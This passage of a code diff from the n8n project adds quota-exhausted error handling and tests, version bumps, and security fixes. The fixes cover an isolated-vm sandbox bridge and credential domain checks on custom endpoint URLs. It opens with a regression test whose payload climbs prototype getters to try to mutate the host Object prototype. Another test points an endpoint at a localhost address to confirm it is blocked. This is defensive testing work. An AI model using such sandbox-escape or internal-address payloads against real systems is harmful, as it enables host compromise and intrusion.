const hostArrayInstance = t('host array instance', function() {
|
||||||
|
return HostArray.applySync(null, [1], hostLookupParams('copy', 'reference'));
|
||||||
|
});
|
||||||
|
const HostProtoGetter = t('host __proto__ getter', function() {
|
||||||
|
return HostLookupGetter.applySync(hostArrayInstance.derefInto(), ['__proto__'], hostLookupParams('copy', 'reference'));
|
||||||
|
});
|
||||||
|
const arrProto = t('host Array prototype', function() {
|
||||||
|
return HostProtoGetter.applySync(hostArrayInstance.derefInto(), [], hostLookupParams('copy', 'reference'));
|
||||||
|
});
|
||||||
|
const objProto = t('host Object prototype', function() {
|
||||||
|
return HostProtoGetter.applySync(arrProto.derefInto(), [], hostLookupParams('copy', 'reference'));
|
||||||
|
});
|
||||||
|
|
||||||
|
objProto.setSync('win', 1337);
|
||||||
|
return log;
|
||||||
|
})();
|
||||||
|
}}`;
|
||||||
|
|
||||||
|
try {
|
||||||
|
// The bridge swallows the TypeError; what matters is the host Object
|
||||||
|
// prototype was never mutated.
|
||||||
|
evaluator.evaluate(expression, data, caller);
|
||||||
|
expect((Object.prototype as Record<string, unknown>).win).toBeUndefined();
|
||||||
|
} finally {
|
||||||
|
delete (Object.prototype as Record<string, unknown>).win;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
it('should preserve error name, message, and custom properties across isolate boundary', () => {
|
it('should preserve error name, message, and custom properties across isolate boundary', () => {
|
||||||
const data = { $json: {} };
|
const data = { $json: {} };
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -400,8 +400,21 @@ export class IsolatedVmBridge implements RuntimeBridge {
|
||||||
return undefined;
|
return undefined;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Only genuine array indices are reachable; anything else (e.g.
|
||||||
|
// 'constructor', '__lookupGetter__') would read off the prototype
|
||||||
|
// chain and could leak a host function reference across the boundary.
|
||||||
|
if (!Number.isInteger(index) || index < 0) {
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
|
||||||
const element = arr[index];
|
const element = arr[index];
|
||||||
|
|
||||||
|
// Functions are never reachable through the data surface — mirror the
|
||||||
|
// guard in getValueAtPath so a host callable can't cross the boundary.
|
||||||
|
if (typeof element === 'function') {
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
|
||||||
// Dates have no enumerable own keys; pass through instead of
|
// Dates have no enumerable own keys; pass through instead of
|
||||||
// marshaling as an empty object.
|
// marshaling as an empty object.
|
||||||
if (element instanceof Date) {
|
if (element instanceof Date) {
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/instance-ai",
|
"name": "@n8n/instance-ai",
|
||||||
"version": "1.16.0",
|
"version": "1.16.3",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"clean": "rimraf dist .turbo",
|
"clean": "rimraf dist .turbo",
|
||||||
"typecheck": "tsc --noEmit",
|
"typecheck": "tsc --noEmit",
|
||||||
|
|
|
||||||
|
|
@ -325,6 +325,9 @@ export const McpClientManager: typeof McpClientManagerMod.McpClientManager = laz
|
||||||
export const mapAgentChunkToEvent: typeof MapChunkMod.mapAgentChunkToEvent = lazyFunction(
|
export const mapAgentChunkToEvent: typeof MapChunkMod.mapAgentChunkToEvent = lazyFunction(
|
||||||
() => loadMapChunk().mapAgentChunkToEvent,
|
() => loadMapChunk().mapAgentChunkToEvent,
|
||||||
);
|
);
|
||||||
|
export const isQuotaExhaustedError: typeof MapChunkMod.isQuotaExhaustedError = lazyFunction(
|
||||||
|
() => loadMapChunk().isQuotaExhaustedError,
|
||||||
|
);
|
||||||
export const parseSuspension: typeof StreamHelpersMod.parseSuspension = lazyFunction(
|
export const parseSuspension: typeof StreamHelpersMod.parseSuspension = lazyFunction(
|
||||||
() => loadStreamHelpers().parseSuspension,
|
() => loadStreamHelpers().parseSuspension,
|
||||||
);
|
);
|
||||||
|
|
|
||||||
|
|
@ -1,3 +1,5 @@
|
||||||
|
import type { InstanceAiEvent } from '@n8n/api-types';
|
||||||
|
|
||||||
import type { SuspensionInfo } from '../../utils/stream-helpers';
|
import type { SuspensionInfo } from '../../utils/stream-helpers';
|
||||||
import { executeResumableStream, normalizeStreamSource } from '../resumable-stream-executor';
|
import { executeResumableStream, normalizeStreamSource } from '../resumable-stream-executor';
|
||||||
|
|
||||||
|
|
@ -179,6 +181,42 @@ describe('executeResumableStream', () => {
|
||||||
expect(result.error).toBe(error);
|
expect(result.error).toBe(error);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('publishes only the quota error when a follow-on error chunk arrives', async () => {
|
||||||
|
const eventBus = createEventBus();
|
||||||
|
const quotaError = Object.assign(new Error('Have reached end of quota'), {
|
||||||
|
statusCode: 403,
|
||||||
|
errorCode: 'quota_exhausted',
|
||||||
|
});
|
||||||
|
const followOn = new Error('No output generated. Check the stream for errors.');
|
||||||
|
|
||||||
|
const result = await executeResumableStream({
|
||||||
|
agent: {},
|
||||||
|
stream: {
|
||||||
|
runId: 'agent-run-1',
|
||||||
|
fullStream: fromChunks([errorChunk(quotaError), errorChunk(followOn)]),
|
||||||
|
},
|
||||||
|
context: {
|
||||||
|
threadId: 'thread-1',
|
||||||
|
runId: 'run-1',
|
||||||
|
agentId: 'agent-1',
|
||||||
|
eventBus,
|
||||||
|
signal: new AbortController().signal,
|
||||||
|
logger: createLogger(),
|
||||||
|
},
|
||||||
|
control: { mode: 'manual' },
|
||||||
|
});
|
||||||
|
|
||||||
|
const errorEvents = eventBus.publish.mock.calls
|
||||||
|
.map(([, event]) => event as InstanceAiEvent)
|
||||||
|
.filter((event) => event.type === 'error');
|
||||||
|
|
||||||
|
expect(errorEvents).toHaveLength(1);
|
||||||
|
expect(errorEvents[0].payload).toMatchObject({ code: 'quota_exhausted' });
|
||||||
|
// The swallowed follow-on chunk must not overwrite result.error, or telemetry
|
||||||
|
// would log the generic "No output generated" while the user saw the quota error.
|
||||||
|
expect(result.error).toBe(quotaError);
|
||||||
|
});
|
||||||
|
|
||||||
it('captures terminal usage on an aborted run so cancelled runs are billed', async () => {
|
it('captures terminal usage on an aborted run so cancelled runs are billed', async () => {
|
||||||
const controller = new AbortController();
|
const controller = new AbortController();
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -155,6 +155,33 @@ describe('InstanceAiTerminalResponseGuard', () => {
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('tags the emitted error with a structured code when provided', () => {
|
||||||
|
const decision = guard().evaluateTerminal([runStart()], 'errored', {
|
||||||
|
errorMessage: "You've run out of AI credits.",
|
||||||
|
errorCode: 'quota_exhausted',
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(decision.action).toBe('emit');
|
||||||
|
expect(decision.event).toMatchObject({
|
||||||
|
type: 'error',
|
||||||
|
payload: { content: "You've run out of AI credits.", code: 'quota_exhausted' },
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('does not emit a second error when a root error is already visible', () => {
|
||||||
|
const decision = guard().evaluateTerminal(
|
||||||
|
[runStart(), rootError('Have reached end of quota')],
|
||||||
|
'errored',
|
||||||
|
{
|
||||||
|
errorMessage: 'ignored fallback',
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(decision.action).toBe('none');
|
||||||
|
expect(decision.visibilitySource).toBe('root-error');
|
||||||
|
expect(decision.reason).toBe('already-visible');
|
||||||
|
});
|
||||||
|
|
||||||
it('does not emit cancellation fallback when partial root text exists', () => {
|
it('does not emit cancellation fallback when partial root text exists', () => {
|
||||||
const decision = guard().evaluateTerminal([runStart(), rootText('partial')], 'cancelled');
|
const decision = guard().evaluateTerminal([runStart(), rootText('partial')], 'cancelled');
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -9,7 +9,7 @@ import type {
|
||||||
OrchestratorRunHandoffReason,
|
OrchestratorRunHandoffReason,
|
||||||
OrchestratorRunStopSignal,
|
OrchestratorRunStopSignal,
|
||||||
} from './orchestrator-run-control';
|
} from './orchestrator-run-control';
|
||||||
import { mapAgentChunkToEvent } from '../stream/map-chunk';
|
import { isQuotaExhaustedError, mapAgentChunkToEvent } from '../stream/map-chunk';
|
||||||
import { OutputRedactor } from '../stream/output-redaction';
|
import { OutputRedactor } from '../stream/output-redaction';
|
||||||
import { UsageAccumulator, type RunTokenUsage } from '../stream/usage-accumulator';
|
import { UsageAccumulator, type RunTokenUsage } from '../stream/usage-accumulator';
|
||||||
import { WorkSummaryAccumulator, type WorkSummary } from '../stream/work-summary-accumulator';
|
import { WorkSummaryAccumulator, type WorkSummary } from '../stream/work-summary-accumulator';
|
||||||
|
|
@ -346,6 +346,9 @@ async function consumeStreamPass(args: {
|
||||||
let suspension: SuspensionInfo | undefined;
|
let suspension: SuspensionInfo | undefined;
|
||||||
let hasError = false;
|
let hasError = false;
|
||||||
let error: unknown;
|
let error: unknown;
|
||||||
|
// Once we've surfaced an out-of-credits error, drop any follow-on error chunks
|
||||||
|
// (e.g. the SDK's generic "no output generated") so the user sees one clear reason.
|
||||||
|
let quotaErrorPublished = false;
|
||||||
let pendingConfirmation: Promise<Record<string, unknown>> | undefined;
|
let pendingConfirmation: Promise<Record<string, unknown>> | undefined;
|
||||||
let confirmationEvent: ConfirmationRequestEvent | undefined;
|
let confirmationEvent: ConfirmationRequestEvent | undefined;
|
||||||
let confirmationEventPublished = false;
|
let confirmationEventPublished = false;
|
||||||
|
|
@ -402,7 +405,14 @@ async function consumeStreamPass(args: {
|
||||||
|
|
||||||
if (isErrorChunk(chunk)) {
|
if (isErrorChunk(chunk)) {
|
||||||
hasError = true;
|
hasError = true;
|
||||||
|
// A quota error was already surfaced this run — swallow later error
|
||||||
|
// chunks (usage was still observed above) to avoid a confusing second
|
||||||
|
// callout. Do this before overwriting `error` so `result.error` stays the
|
||||||
|
// quota error the user saw, rather than the swallowed follow-on — otherwise
|
||||||
|
// telemetry would log a failure the user was never shown.
|
||||||
|
if (quotaErrorPublished) continue;
|
||||||
error = chunk.error;
|
error = chunk.error;
|
||||||
|
if (isQuotaExhaustedError(chunk.error)) quotaErrorPublished = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
const isDeltaChunk =
|
const isDeltaChunk =
|
||||||
|
|
|
||||||
|
|
@ -1,9 +1,12 @@
|
||||||
import {
|
import {
|
||||||
isDisplayableConfirmationRequest,
|
isDisplayableConfirmationRequest,
|
||||||
type InstanceAiConfirmationRequestEvent,
|
type InstanceAiConfirmationRequestEvent,
|
||||||
|
type InstanceAiErrorEvent,
|
||||||
type InstanceAiEvent,
|
type InstanceAiEvent,
|
||||||
} from '@n8n/api-types';
|
} from '@n8n/api-types';
|
||||||
|
|
||||||
|
type InstanceAiErrorCode = NonNullable<InstanceAiErrorEvent['payload']['code']>;
|
||||||
|
|
||||||
import type { WorkSummary } from '../stream/work-summary-accumulator';
|
import type { WorkSummary } from '../stream/work-summary-accumulator';
|
||||||
|
|
||||||
export type TerminalResponseStatus = 'completed' | 'cancelled' | 'errored' | 'waiting';
|
export type TerminalResponseStatus = 'completed' | 'cancelled' | 'errored' | 'waiting';
|
||||||
|
|
@ -71,6 +74,7 @@ export class InstanceAiTerminalResponseGuard {
|
||||||
options: {
|
options: {
|
||||||
workSummary?: WorkSummary;
|
workSummary?: WorkSummary;
|
||||||
errorMessage?: string;
|
errorMessage?: string;
|
||||||
|
errorCode?: InstanceAiErrorCode;
|
||||||
suppressCompletedFallback?: boolean;
|
suppressCompletedFallback?: boolean;
|
||||||
} = {},
|
} = {},
|
||||||
): TerminalResponseDecision {
|
): TerminalResponseDecision {
|
||||||
|
|
@ -159,6 +163,7 @@ export class InstanceAiTerminalResponseGuard {
|
||||||
visibility.hasRootText ? 'errored-after-text' : 'errored-silent',
|
visibility.hasRootText ? 'errored-after-text' : 'errored-silent',
|
||||||
options.errorMessage ??
|
options.errorMessage ??
|
||||||
'I hit an error before I could finish that response. Please try again.',
|
'I hit an error before I could finish that response. Please try again.',
|
||||||
|
options.errorCode,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -259,6 +264,7 @@ export class InstanceAiTerminalResponseGuard {
|
||||||
status: TerminalResponseStatus,
|
status: TerminalResponseStatus,
|
||||||
reason: TerminalResponseDecision['reason'],
|
reason: TerminalResponseDecision['reason'],
|
||||||
content: string,
|
content: string,
|
||||||
|
code?: InstanceAiErrorCode,
|
||||||
): TerminalResponseDecision {
|
): TerminalResponseDecision {
|
||||||
return {
|
return {
|
||||||
status,
|
status,
|
||||||
|
|
@ -270,7 +276,7 @@ export class InstanceAiTerminalResponseGuard {
|
||||||
runId: this.options.runId,
|
runId: this.options.runId,
|
||||||
agentId: this.options.rootAgentId,
|
agentId: this.options.rootAgentId,
|
||||||
responseId: this.fallbackResponseId(status),
|
responseId: this.fallbackResponseId(status),
|
||||||
payload: { content },
|
payload: { content, ...(code ? { code } : {}) },
|
||||||
},
|
},
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -1,4 +1,67 @@
|
||||||
import { mapAgentChunkToEvent } from '../map-chunk';
|
import { isQuotaExhaustedError, mapAgentChunkToEvent } from '../map-chunk';
|
||||||
|
|
||||||
|
type ApiCallError = Error & { statusCode?: number; responseBody?: string; url?: string };
|
||||||
|
|
||||||
|
function apiError(message: string, statusCode?: number, responseBody?: string): ApiCallError {
|
||||||
|
const error = new Error(message) as ApiCallError;
|
||||||
|
if (statusCode !== undefined) error.statusCode = statusCode;
|
||||||
|
if (responseBody !== undefined) error.responseBody = responseBody;
|
||||||
|
return error;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Mirrors the SDK's APIResponseError carrying a machine-readable errorCode. */
|
||||||
|
function sdkError(message: string, statusCode: number, errorCode?: string): Error {
|
||||||
|
const error = new Error(message) as Error & { statusCode: number; errorCode?: string };
|
||||||
|
error.statusCode = statusCode;
|
||||||
|
if (errorCode !== undefined) error.errorCode = errorCode;
|
||||||
|
return error;
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('isQuotaExhaustedError', () => {
|
||||||
|
it('matches the SDK errorCode from the token-endpoint 403', () => {
|
||||||
|
expect(
|
||||||
|
isQuotaExhaustedError(sdkError('Have reached end of quota', 403, 'quota_exhausted')),
|
||||||
|
).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('matches the code carried on error.cause when the SDK error is wrapped', () => {
|
||||||
|
const wrapped = new Error('stream failed', {
|
||||||
|
cause: sdkError('Have reached end of quota', 403, 'quota_exhausted'),
|
||||||
|
});
|
||||||
|
expect(isQuotaExhaustedError(wrapped)).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('matches a top-level code in an ai-sdk responseBody', () => {
|
||||||
|
const error = apiError(
|
||||||
|
'Forbidden',
|
||||||
|
403,
|
||||||
|
JSON.stringify({ message: 'Have reached end of quota', code: 'quota_exhausted' }),
|
||||||
|
);
|
||||||
|
expect(isQuotaExhaustedError(error)).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('falls back to a nested error.type in an ai-sdk responseBody', () => {
|
||||||
|
const error = apiError(
|
||||||
|
'Forbidden',
|
||||||
|
403,
|
||||||
|
JSON.stringify({ error: { type: 'quota_exhausted', message: 'Have reached end of quota' } }),
|
||||||
|
);
|
||||||
|
expect(isQuotaExhaustedError(error)).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('does NOT match a quota-sounding message without a code (no string heuristic)', () => {
|
||||||
|
expect(isQuotaExhaustedError(apiError('Have reached end of quota'))).toBe(false);
|
||||||
|
expect(isQuotaExhaustedError('You are out of credits')).toBe(false);
|
||||||
|
expect(isQuotaExhaustedError(apiError('request blocked: quota', 403))).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('does not match a bare 403 or unrelated errors', () => {
|
||||||
|
expect(isQuotaExhaustedError(apiError('Forbidden', 403))).toBe(false);
|
||||||
|
expect(isQuotaExhaustedError(sdkError('Forbidden', 403))).toBe(false);
|
||||||
|
expect(isQuotaExhaustedError(sdkError('rate limited', 429, 'rate_limit'))).toBe(false);
|
||||||
|
expect(isQuotaExhaustedError(undefined)).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
describe('mapAgentChunkToEvent', () => {
|
describe('mapAgentChunkToEvent', () => {
|
||||||
const runId = 'run-1';
|
const runId = 'run-1';
|
||||||
|
|
@ -450,4 +513,23 @@ describe('mapAgentChunkToEvent', () => {
|
||||||
},
|
},
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('tags quota-exhausted error chunks with a quota_exhausted code', () => {
|
||||||
|
const responseBody = JSON.stringify({
|
||||||
|
error: { type: 'quota_exhausted', message: 'Have reached end of quota' },
|
||||||
|
});
|
||||||
|
const error = apiError('Forbidden', 403, responseBody);
|
||||||
|
|
||||||
|
expect(map({ type: 'error', error })).toEqual({
|
||||||
|
type: 'error',
|
||||||
|
runId,
|
||||||
|
agentId,
|
||||||
|
payload: {
|
||||||
|
content: 'Have reached end of quota',
|
||||||
|
statusCode: 403,
|
||||||
|
code: 'quota_exhausted',
|
||||||
|
technicalDetails: responseBody,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
@ -115,6 +115,64 @@ interface ErrorInfo {
|
||||||
statusCode?: number;
|
statusCode?: number;
|
||||||
provider?: string;
|
provider?: string;
|
||||||
technicalDetails?: string;
|
technicalDetails?: string;
|
||||||
|
code?: 'quota_exhausted';
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Machine-readable code the AI service sets when the credit/quota pool is exhausted.
|
||||||
|
* Wire contract — kept in sync with the service/SDK and `INSTANCE_AI_ERROR_CODES`.
|
||||||
|
*/
|
||||||
|
export const QUOTA_EXHAUSTED_ERROR_CODE = 'quota_exhausted';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Whether an error means the user has run out of AI credits/quota. Keyed off a
|
||||||
|
* machine-readable code, never the message text: the SDK exposes `errorCode` on
|
||||||
|
* the token-endpoint 403, and the ai-sdk carries the proxy's `error.type` in
|
||||||
|
* `responseBody`. The error can arrive wrapped, so its `cause` chain is inspected too.
|
||||||
|
*/
|
||||||
|
export function isQuotaExhaustedError(error: unknown): boolean {
|
||||||
|
return readErrorCode(error) === QUOTA_EXHAUSTED_ERROR_CODE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Read the machine-readable code from the error, its ai-sdk `responseBody`, or its `cause`. */
|
||||||
|
function readErrorCode(error: unknown): string | undefined {
|
||||||
|
if (typeof error !== 'object' || error === null) return undefined;
|
||||||
|
|
||||||
|
// SDK APIResponseError carries the parsed code directly.
|
||||||
|
if ('errorCode' in error && typeof error.errorCode === 'string') {
|
||||||
|
return error.errorCode;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ai-sdk APICallError exposes the raw provider body; the service tags the code
|
||||||
|
// top-level (`code`), with a nested `error.type` as the fallback shape.
|
||||||
|
if ('responseBody' in error && typeof error.responseBody === 'string') {
|
||||||
|
const { code } = parseResponseBody(error.responseBody);
|
||||||
|
if (code) return code;
|
||||||
|
}
|
||||||
|
|
||||||
|
// The SDK error can reach us wrapped (thrown inside the model fetch); unwrap the cause chain.
|
||||||
|
if ('cause' in error && error.cause !== error) {
|
||||||
|
return readErrorCode(error.cause);
|
||||||
|
}
|
||||||
|
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Parse an ai-sdk JSON `responseBody` into its message and machine-readable code, if present. */
|
||||||
|
function parseResponseBody(responseBody: string): { message?: string; code?: string } {
|
||||||
|
try {
|
||||||
|
const body = JSON.parse(responseBody) as {
|
||||||
|
message?: string;
|
||||||
|
code?: string;
|
||||||
|
error?: { message?: string; type?: string };
|
||||||
|
};
|
||||||
|
return {
|
||||||
|
message: body?.error?.message ?? body?.message,
|
||||||
|
code: body?.code ?? body?.error?.type,
|
||||||
|
};
|
||||||
|
} catch {
|
||||||
|
return {};
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function extractErrorInfo(error: unknown): ErrorInfo {
|
function extractErrorInfo(error: unknown): ErrorInfo {
|
||||||
|
|
@ -130,16 +188,8 @@ function extractErrorInfo(error: unknown): ErrorInfo {
|
||||||
|
|
||||||
if ('responseBody' in error && typeof error.responseBody === 'string') {
|
if ('responseBody' in error && typeof error.responseBody === 'string') {
|
||||||
info.technicalDetails = error.responseBody;
|
info.technicalDetails = error.responseBody;
|
||||||
try {
|
const { message } = parseResponseBody(error.responseBody);
|
||||||
const body = JSON.parse(error.responseBody) as {
|
if (message) info.content = message;
|
||||||
error?: { message?: string; type?: string };
|
|
||||||
};
|
|
||||||
if (body?.error?.message) {
|
|
||||||
info.content = body.error.message;
|
|
||||||
}
|
|
||||||
} catch {
|
|
||||||
// not JSON — keep raw responseBody as technicalDetails
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Extract provider from error name or URL if available
|
// Extract provider from error name or URL if available
|
||||||
|
|
@ -149,6 +199,8 @@ function extractErrorInfo(error: unknown): ErrorInfo {
|
||||||
else if (urlStr.includes('openai')) info.provider = 'OpenAI';
|
else if (urlStr.includes('openai')) info.provider = 'OpenAI';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (isQuotaExhaustedError(error)) info.code = QUOTA_EXHAUSTED_ERROR_CODE;
|
||||||
|
|
||||||
return info;
|
return info;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -384,6 +436,7 @@ function mapErrorChunk(
|
||||||
payload: {
|
payload: {
|
||||||
content: errorInfo.content,
|
content: errorInfo.content,
|
||||||
...(errorInfo.statusCode !== undefined ? { statusCode: errorInfo.statusCode } : {}),
|
...(errorInfo.statusCode !== undefined ? { statusCode: errorInfo.statusCode } : {}),
|
||||||
|
...(errorInfo.code ? { code: errorInfo.code } : {}),
|
||||||
...(errorInfo.provider ? { provider: errorInfo.provider } : {}),
|
...(errorInfo.provider ? { provider: errorInfo.provider } : {}),
|
||||||
...(errorInfo.technicalDetails ? { technicalDetails: errorInfo.technicalDetails } : {}),
|
...(errorInfo.technicalDetails ? { technicalDetails: errorInfo.technicalDetails } : {}),
|
||||||
},
|
},
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/mcp-apps",
|
"name": "@n8n/mcp-apps",
|
||||||
"version": "0.8.0",
|
"version": "0.8.2",
|
||||||
"description": "MCP Apps UI resources and server helpers for n8n",
|
"description": "MCP Apps UI resources and server helpers for n8n",
|
||||||
"main": "dist/server/index.js",
|
"main": "dist/server/index.js",
|
||||||
"types": "dist/server/index.d.ts",
|
"types": "dist/server/index.d.ts",
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/node-cli",
|
"name": "@n8n/node-cli",
|
||||||
"version": "0.40.0",
|
"version": "0.40.3",
|
||||||
"description": "Official CLI for developing community nodes for n8n",
|
"description": "Official CLI for developing community nodes for n8n",
|
||||||
"bin": {
|
"bin": {
|
||||||
"n8n-node": "bin/n8n-node.mjs"
|
"n8n-node": "bin/n8n-node.mjs"
|
||||||
|
|
|
||||||
|
|
@ -2,6 +2,7 @@ import type { InferenceProviderOrPolicy } from '@huggingface/inference';
|
||||||
import { PROVIDERS_OR_POLICIES } from '@huggingface/inference';
|
import { PROVIDERS_OR_POLICIES } from '@huggingface/inference';
|
||||||
import { HuggingFaceInferenceEmbeddings } from '@langchain/community/embeddings/hf';
|
import { HuggingFaceInferenceEmbeddings } from '@langchain/community/embeddings/hf';
|
||||||
import {
|
import {
|
||||||
|
assertCredentialAllowsUrl,
|
||||||
NodeConnectionTypes,
|
NodeConnectionTypes,
|
||||||
NodeOperationError,
|
NodeOperationError,
|
||||||
type INodeType,
|
type INodeType,
|
||||||
|
|
@ -104,6 +105,18 @@ export class EmbeddingsHuggingFaceInference implements INodeType {
|
||||||
throw new NodeOperationError(this.getNode(), 'Unsupported provider');
|
throw new NodeOperationError(this.getNode(), 'Unsupported provider');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (
|
||||||
|
'endpointUrl' in options &&
|
||||||
|
typeof options.endpointUrl === 'string' &&
|
||||||
|
options.endpointUrl
|
||||||
|
) {
|
||||||
|
assertCredentialAllowsUrl({
|
||||||
|
node: this.getNode(),
|
||||||
|
credentialData: credentials,
|
||||||
|
url: options.endpointUrl,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
const embeddings = new HuggingFaceInferenceEmbeddings({
|
const embeddings = new HuggingFaceInferenceEmbeddings({
|
||||||
apiKey: credentials.apiKey as string,
|
apiKey: credentials.apiKey as string,
|
||||||
model,
|
model,
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,72 @@
|
||||||
|
import { HuggingFaceInferenceEmbeddings } from '@langchain/community/embeddings/hf';
|
||||||
|
import { createMockExecuteFunction } from 'n8n-nodes-base/test/nodes/Helpers';
|
||||||
|
import type { INode, ISupplyDataFunctions } from 'n8n-workflow';
|
||||||
|
import type { Mocked } from 'vitest';
|
||||||
|
|
||||||
|
import { EmbeddingsHuggingFaceInference } from '../EmbeddingsHuggingFaceInference/EmbeddingsHuggingFaceInference.node';
|
||||||
|
|
||||||
|
vi.mock('@huggingface/inference', () => ({ PROVIDERS_OR_POLICIES: ['auto'] }));
|
||||||
|
vi.mock('@langchain/community/embeddings/hf');
|
||||||
|
vi.mock('@n8n/ai-utilities');
|
||||||
|
|
||||||
|
describe('EmbeddingsHuggingFaceInference', () => {
|
||||||
|
let node: EmbeddingsHuggingFaceInference;
|
||||||
|
|
||||||
|
const mockNode: INode = {
|
||||||
|
id: '1',
|
||||||
|
name: 'Embeddings HuggingFace Inference',
|
||||||
|
typeVersion: 1,
|
||||||
|
type: 'n8n-nodes-langchain.embeddingsHuggingFaceInference',
|
||||||
|
position: [0, 0],
|
||||||
|
parameters: {},
|
||||||
|
};
|
||||||
|
|
||||||
|
const setup = (credentials: Record<string, unknown>, options: Record<string, unknown>) => {
|
||||||
|
const ctx = createMockExecuteFunction<ISupplyDataFunctions>(
|
||||||
|
{},
|
||||||
|
mockNode,
|
||||||
|
) as Mocked<ISupplyDataFunctions>;
|
||||||
|
ctx.getCredentials = vi.fn().mockResolvedValue(credentials);
|
||||||
|
ctx.getNode = vi.fn().mockReturnValue(mockNode);
|
||||||
|
ctx.logger = { debug: vi.fn() } as unknown as ISupplyDataFunctions['logger'];
|
||||||
|
ctx.getNodeParameter = vi.fn().mockImplementation((paramName: string) => {
|
||||||
|
if (paramName === 'modelName') return 'sentence-transformers/distilbert-base-nli-mean-tokens';
|
||||||
|
if (paramName === 'options') return options;
|
||||||
|
return undefined;
|
||||||
|
});
|
||||||
|
return ctx;
|
||||||
|
};
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
node = new EmbeddingsHuggingFaceInference();
|
||||||
|
vi.clearAllMocks();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject a custom endpoint URL the credential domain restriction disallows', async () => {
|
||||||
|
const ctx = setup(
|
||||||
|
{
|
||||||
|
apiKey: 'k',
|
||||||
|
allowedHttpRequestDomains: 'domains',
|
||||||
|
allowedDomains: 'api-inference.huggingface.co',
|
||||||
|
},
|
||||||
|
{ endpointUrl: 'http://127.0.0.1:9099' },
|
||||||
|
);
|
||||||
|
|
||||||
|
await expect(node.supplyData.call(ctx, 0)).rejects.toThrow('Domain not allowed');
|
||||||
|
expect(HuggingFaceInferenceEmbeddings).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should allow a custom endpoint URL the credential domain restriction permits', async () => {
|
||||||
|
const ctx = setup(
|
||||||
|
{
|
||||||
|
apiKey: 'k',
|
||||||
|
allowedHttpRequestDomains: 'domains',
|
||||||
|
allowedDomains: 'my-endpoint.example.com',
|
||||||
|
},
|
||||||
|
{ endpointUrl: 'https://my-endpoint.example.com' },
|
||||||
|
);
|
||||||
|
|
||||||
|
await node.supplyData.call(ctx, 0);
|
||||||
|
expect(HuggingFaceInferenceEmbeddings).toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
import { OpenAI, type ClientOptions } from '@langchain/openai';
|
import { OpenAI, type ClientOptions } from '@langchain/openai';
|
||||||
import { getProxyAgent, makeN8nLlmFailedAttemptHandler, N8nLlmTracing } from '@n8n/ai-utilities';
|
import { getProxyAgent, makeN8nLlmFailedAttemptHandler, N8nLlmTracing } from '@n8n/ai-utilities';
|
||||||
import { NodeConnectionTypes } from 'n8n-workflow';
|
import { assertCredentialAllowsUrl, NodeConnectionTypes } from 'n8n-workflow';
|
||||||
import type {
|
import type {
|
||||||
INodeType,
|
INodeType,
|
||||||
INodeTypeDescription,
|
INodeTypeDescription,
|
||||||
|
|
@ -207,8 +207,17 @@ export class LmOpenAi implements INodeType {
|
||||||
const options = this.getNodeParameter('options', {}) as LmOpenAiOptions;
|
const options = this.getNodeParameter('options', {}) as LmOpenAiOptions;
|
||||||
|
|
||||||
let uri = 'https://api.openai.com/v1/models';
|
let uri = 'https://api.openai.com/v1/models';
|
||||||
|
let allowedDomains: string | undefined;
|
||||||
|
|
||||||
if (options.baseURL) {
|
if (options.baseURL) {
|
||||||
|
const credentials = await this.getCredentials('openAiApi');
|
||||||
|
allowedDomains = assertCredentialAllowsUrl({
|
||||||
|
node: this.getNode(),
|
||||||
|
credentialData: credentials,
|
||||||
|
url: options.baseURL,
|
||||||
|
pinnedUrl: typeof credentials.url === 'string' ? credentials.url : undefined,
|
||||||
|
surface: 'OpenAI',
|
